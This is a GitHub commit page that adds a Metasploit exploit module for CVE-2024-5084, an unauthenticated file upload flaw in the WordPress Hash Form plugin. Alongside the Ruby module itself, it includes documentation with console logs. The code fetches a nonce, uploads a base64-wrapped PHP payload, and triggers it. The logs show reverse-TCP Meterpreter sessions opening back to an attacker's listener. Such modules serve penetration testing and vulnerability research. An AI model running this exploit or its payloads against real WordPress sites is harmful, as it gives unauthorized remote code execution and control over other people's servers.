Skip to content

Commit 120fa0f

Browse files
Land rapid7#19208, Add exploit module for CVE-2024-5084: WordPress Hash Form Plugin RCE
2 parents 36e2953 + 67ec4ba commit 120fa0f

File tree

4 files changed

+372
-0
lines changed

4 files changed

+372
-0
lines changed

data/wordlists/wp-exploitable-plugins.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -61,3 +61,4 @@ woocommerce-payments
6161
file-manager-advanced-shortcode
6262
royal-elementor-addons
6363
backup-backup
64+
hash-form

data/wordlists/wp-plugins.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -34566,6 +34566,7 @@ hash-comment-ip
3456634566
hash-converter
3456734567
hash-coupon
3456834568
hash-elements
34569+
hash-form
3456934570
hash-hash-tags
3457034571
hash-link-scroll-offset
3457134572
hashbar-wp-notification-bar
Lines changed: 196 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,196 @@
1+
## Vulnerable Application
2+
3+
This Metasploit module exploits a Remote Code Execution vulnerability in WordPress Hash Form
4+
plugin, versions prior to 1.1.1.
5+
The vulnerability is due to an unauthenticated file upload flaw in the plugin.
6+
To replicate a vulnerable environment for testing:
7+
8+
1. Install WordPress.
9+
2. Download and install the Hash Form plugin, ensuring the version is below 1.1.1.
10+
3. Verify that the plugin is activated and accessible on the local network.
11+
4. Create any form
12+
13+
## Verification Steps
14+
15+
1. Set up a WordPress instance with the Hash Form plugin (version < 1.1.1).
16+
2. Launch `msfconsole` in your Metasploit framework.
17+
3. Use the module: `use exploit/multi/http/wp_hash_form_rce`.
18+
4. Set `RHOSTS` to the local IP address or hostname of the target.
19+
5. Configure necessary options such as `TARGETURI`, `SSL`, and `RPORT`.
20+
6. Execute the exploit using the `run` or `exploit` command.
21+
7. If the target is vulnerable, the module will execute the specified payload.
22+
23+
## Options
24+
25+
No option
26+
27+
## Scenarios
28+
29+
### Successful Exploitation Against Local WordPress with Hash Form 1.10
30+
31+
**Setup**:
32+
33+
- Local WordPress instance with Hash Form version 1.1.0.
34+
- Metasploit Framework.
35+
36+
**Steps**:
37+
38+
1. Start `msfconsole`.
39+
2. Load the module:
40+
```
41+
use exploit/multi/http/wp_hash_form_rce
42+
```
43+
3. Set `RHOSTS` to the local IP (e.g., 192.168.1.11).
44+
4. Configure other necessary options (TARGETURI, SSL, etc.).
45+
5. Launch the exploit:
46+
```
47+
exploit
48+
```
49+
50+
**Expected Results**:
51+
52+
With `php/meterpreter/reverse_tcp`
53+
54+
```
55+
msf6 > search wp_hash_form_rce
56+
57+
Matching Modules
58+
================
59+
60+
# Name Disclosure Date Rank Check Description
61+
- ---- --------------- ---- ----- -----------
62+
0 exploit/multi/http/wp_hash_form_rce 2024-05-23 excellent Yes WordPress Hash Form Plugin RCE
63+
1 \_ target: Automatic . . . .
64+
2 \_ target: PHP In-Memory . . . .
65+
3 \_ target: Unix/Linux Command Shell . . . .
66+
4 \_ target: Windows Command Shell . . . .
67+
68+
69+
Interact with a module by name or index. For example info 4, use 4 or use exploit/multi/http/wp_hash_form_rce
70+
After interacting with a module you can manually set a TARGET with set TARGET 'Windows Command Shell'
71+
72+
msf6 > use 0
73+
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
74+
msf6 exploit(multi/http/wp_hash_form_rce) > options
75+
76+
Module options (exploit/multi/http/wp_hash_form_rce):
77+
78+
Name Current Setting Required Description
79+
---- --------------- -------- -----------
80+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
81+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
82+
RPORT 80 yes The target port (TCP)
83+
SSL false no Negotiate SSL/TLS for outgoing connections
84+
TARGETURI / yes The base path to the wordpress application
85+
VHOST no HTTP server virtual host
86+
87+
88+
Payload options (php/meterpreter/reverse_tcp):
89+
90+
Name Current Setting Required Description
91+
---- --------------- -------- -----------
92+
LHOST 192.168.1.36 yes The listen address (an interface may be specified)
93+
LPORT 4444 yes The listen port
94+
95+
96+
Exploit target:
97+
98+
Id Name
99+
-- ----
100+
0 PHP In-Memory
101+
102+
103+
104+
View the full module info with the info, or info -d command.
105+
106+
msf6 exploit(multi/http/wp_hash_form_rce) > set rhosts 127.0.0.1
107+
rhosts => 127.0.0.1
108+
msf6 exploit(multi/http/wp_hash_form_rce) > set rport 8080
109+
rport => 8080
110+
msf6 exploit(multi/http/wp_hash_form_rce) > exploit
111+
112+
[*] Started reverse TCP handler on 192.168.1.36:4444
113+
[*] Running automatic check ("set AutoCheck false" to disable)
114+
[+] Detected Hash Form plugin version: 1.1.0
115+
[+] The target appears to be vulnerable.
116+
[*] Attempting to retrieve nonce from the target...
117+
[+] Nonce retrieved: c037ee0b47
118+
[*] Uploading PHP payload using the retrieved nonce...
119+
[+] PHP payload uploaded successfully to http://localhost:8080/wp-content/uploads/hashform/temp/zumchnzt.php
120+
[*] Triggering the payload at http://localhost:8080/wp-content/uploads/hashform/temp/zumchnzt.php...
121+
[*] Sending stage (39927 bytes) to 172.20.0.3
122+
[*] Meterpreter session 1 opened (192.168.1.36:4444 -> 172.20.0.3:52596) at 2024-05-28 17:52:51 +0200
123+
124+
meterpreter > sysinfo
125+
Computer : 92b664be9b0c
126+
OS : Linux 92b664be9b0c 5.15.0-91-generic #101-Ubuntu SMP Tue Nov 14 13:30:08 UTC 2023 x86_64
127+
Meterpreter : php/linux
128+
```
129+
130+
With `cmd/linux/http/x64/meterpreter/reverse_tcp`:
131+
132+
```
133+
msf6 exploit(multi/http/wp_hash_form_rce) > options
134+
135+
Module options (exploit/multi/http/wp_hash_form_rce):
136+
137+
Name Current Setting Required Description
138+
---- --------------- -------- -----------
139+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
140+
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
141+
RPORT 8080 yes The target port (TCP)
142+
SSL false no Negotiate SSL/TLS for outgoing connections
143+
TARGETURI / yes The base path to the wordpress application
144+
VHOST no HTTP server virtual host
145+
146+
147+
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
148+
149+
Name Current Setting Required Description
150+
---- --------------- -------- -----------
151+
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
152+
FETCH_DELETE false yes Attempt to delete the binary after execution
153+
FETCH_FILENAME KtElgOyozC no Name to use on remote system when storing payload; cannot contain spaces or slashes
154+
FETCH_SRVHOST no Local IP to use for serving payload
155+
FETCH_SRVPORT 5555 yes Local port to use for serving payload
156+
FETCH_URIPATH no Local URI to use for serving payload
157+
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
158+
LHOST 192.168.1.36 yes The listen address (an interface may be specified)
159+
LPORT 4444 yes The listen port
160+
161+
162+
Exploit target:
163+
164+
Id Name
165+
-- ----
166+
1 Unix/Linux Command Shell
167+
168+
169+
170+
View the full module info with the info, or info -d command.
171+
172+
msf6 exploit(multi/http/wp_hash_form_rce) > exploit
173+
174+
[*] Started reverse TCP handler on 192.168.1.36:4444
175+
[*] Running automatic check ("set AutoCheck false" to disable)
176+
[+] Detected Hash Form plugin version: 1.1.0
177+
[+] The target appears to be vulnerable.
178+
[*] Attempting to retrieve nonce from the target...
179+
[+] Nonce retrieved: c037ee0b47
180+
[*] Uploading PHP payload using the retrieved nonce...
181+
[+] PHP payload uploaded successfully to http://localhost:8080/wp-content/uploads/hashform/temp/roeylnhj.php
182+
[*] Triggering the payload at http://localhost:8080/wp-content/uploads/hashform/temp/roeylnhj.php...
183+
[*] Sending stage (3045380 bytes) to 172.20.0.3
184+
[*] Meterpreter session 1 opened (192.168.1.36:4444 -> 172.20.0.3:53478) at 2024-05-28 18:03:35 +0200
185+
186+
meterpreter > sysinfo
187+
Computer : 172.20.0.3
188+
OS : Debian 12.5 (Linux 5.15.0-91-generic)
189+
Architecture : x64
190+
BuildTuple : x86_64-linux-musl
191+
Meterpreter : x64/linux
192+
```
193+
194+
- The module attempts to retrieve a nonce from the local server.
195+
- It then uploads and executes the payload.
196+
- If successful, control over the local WordPress instance is gained, depending on the payload used.
Lines changed: 174 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,174 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Payload::Php
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Exploit::Remote::HTTP::Wordpress
12+
13+
prepend Msf::Exploit::Remote::AutoCheck
14+
15+
def initialize(info = {})
16+
super(
17+
update_info(
18+
info,
19+
'Name' => 'WordPress Hash Form Plugin RCE',
20+
'Description' => %q{
21+
The Hash Form – Drag & Drop Form Builder plugin for WordPress suffers from a critical vulnerability
22+
due to missing file type validation in the file_upload_action function. This vulnerability exists
23+
in all versions up to and including 1.1.0. Unauthenticated attackers can exploit this flaw to upload arbitrary
24+
files, including PHP scripts, to the server, potentially allowing for remote code execution on the affected
25+
WordPress site. This module targets multiple platforms by adapting payload delivery and execution based on the
26+
server environment.
27+
},
28+
'Author' => [
29+
'Francesco Carlucci', # Vulnerability discovery
30+
'Valentin Lobstein' # Metasploit module
31+
],
32+
'License' => MSF_LICENSE,
33+
'References' => [
34+
['CVE', '2024-5084'],
35+
['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/hash-form/hash-form-drag-drop-form-builder-110-unauthenticated-arbitrary-file-upload-to-remote-code-execution'],
36+
],
37+
'Platform' => ['php', 'unix', 'linux', 'win'],
38+
'Arch' => [ARCH_PHP, ARCH_CMD],
39+
'Targets' => [
40+
[
41+
'PHP In-Memory', {
42+
'Platform' => 'php',
43+
'Arch' => ARCH_PHP
44+
# tested with php/meterpreter/reverse_tcp
45+
}
46+
],
47+
[
48+
'Unix/Linux Command Shell', {
49+
'Platform' => ['unix', 'linux'],
50+
'Arch' => ARCH_CMD
51+
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
52+
}
53+
],
54+
[
55+
'Windows Command Shell', {
56+
'Platform' => 'win',
57+
'Arch' => ARCH_CMD
58+
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
59+
}
60+
]
61+
],
62+
'DefaultTarget' => 0,
63+
'Privileged' => false,
64+
'DisclosureDate' => '2024-05-23',
65+
'Notes' => {
66+
'Stability' => [CRASH_SAFE],
67+
'Reliability' => [REPEATABLE_SESSION],
68+
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
69+
}
70+
)
71+
)
72+
end
73+
74+
def check
75+
return CheckCode::Unknown('WordPress does not appear to be online.') unless wordpress_and_online?
76+
77+
plugin_check_code = check_plugin_version_from_readme('hash-form', '1.1.1')
78+
79+
if plugin_check_code.code == CheckCode::Unknown.code
80+
return CheckCode::Unknown('Hash Form plugin does not appear to be installed.')
81+
end
82+
83+
return CheckCode::Detected('Hash Form plugin is installed but the version is unknown.') if plugin_check_code.code == CheckCode::Detected.code
84+
85+
plugin_version = plugin_check_code.details[:version]
86+
return CheckCode::Safe("Hash Form plugin is version: #{plugin_version}, which is not vulnerable.") unless plugin_check_code.code == CheckCode::Appears.code
87+
88+
print_good("Detected Hash Form plugin version: #{plugin_version}")
89+
CheckCode::Appears
90+
end
91+
92+
def exploit
93+
print_status('Attempting to retrieve nonce from the target...')
94+
nonce = get_nonce
95+
96+
fail_with(Failure::NoTarget, 'Failed to retrieve the nonce necessary for file upload. The target may not be vulnerable or the Hash Form plugin might not be active.') unless nonce
97+
98+
print_good("Nonce retrieved: #{nonce}")
99+
print_status('Uploading PHP payload using the retrieved nonce...')
100+
101+
file_url = upload_php_file(nonce)
102+
fail_with(Failure::UnexpectedReply, 'Failed to upload the PHP payload. Check file permissions and server settings.') unless file_url
103+
104+
print_good("PHP payload uploaded successfully to #{file_url}")
105+
trigger_payload(file_url)
106+
end
107+
108+
def get_nonce
109+
uri = normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php')
110+
res = send_request_cgi({
111+
'method' => 'GET',
112+
'uri' => uri,
113+
'vars_get' => {
114+
'action' => 'hashform_preview',
115+
'form' => 1
116+
}
117+
})
118+
119+
return nil unless res && res.code == 200
120+
121+
script_content = res.get_html_document.xpath('//script[@id="frontend-js-extra"]').text
122+
return nil unless script_content
123+
124+
nonce_match = script_content.match(/"ajax_nounce":"([a-f0-9]+)"/)
125+
nonce_match ? nonce_match[1] : nil
126+
end
127+
128+
def php_exec_cmd(encoded_payload)
129+
dis = '$' + Rex::Text.rand_text_alpha(rand(4..7))
130+
encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)
131+
132+
shell = <<-END_OF_PHP_CODE
133+
#{php_preamble(disabled_varname: dis)}
134+
$c = base64_decode("#{encoded_clean_payload}");
135+
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
136+
END_OF_PHP_CODE
137+
138+
return Rex::Text.compress(shell)
139+
end
140+
141+
def upload_php_file(nonce)
142+
file_content = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
143+
file_name = "#{Rex::Text.rand_text_alpha_lower(8)}.php"
144+
145+
res = send_request_cgi({
146+
'method' => 'POST',
147+
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
148+
'ctype' => 'application/octet-stream',
149+
'vars_get' => {
150+
'action' => 'hashform_file_upload_action',
151+
'file_uploader_nonce' => nonce,
152+
'allowedExtensions[0]' => 'php',
153+
'sizeLimit' => 1048576,
154+
'qqfile' => file_name
155+
},
156+
'data' => file_content
157+
})
158+
159+
if res && res.code == 200
160+
json_response = res.get_json_document
161+
return json_response['url'] if json_response && json_response['url']
162+
end
163+
nil
164+
end
165+
166+
def trigger_payload(url)
167+
print_status('Triggering the payload...')
168+
uri = URI.parse(url)
169+
send_request_cgi({
170+
'method' => 'GET',
171+
'uri' => uri.path
172+
})
173+
end
174+
end

0 commit comments

Comments
 (0)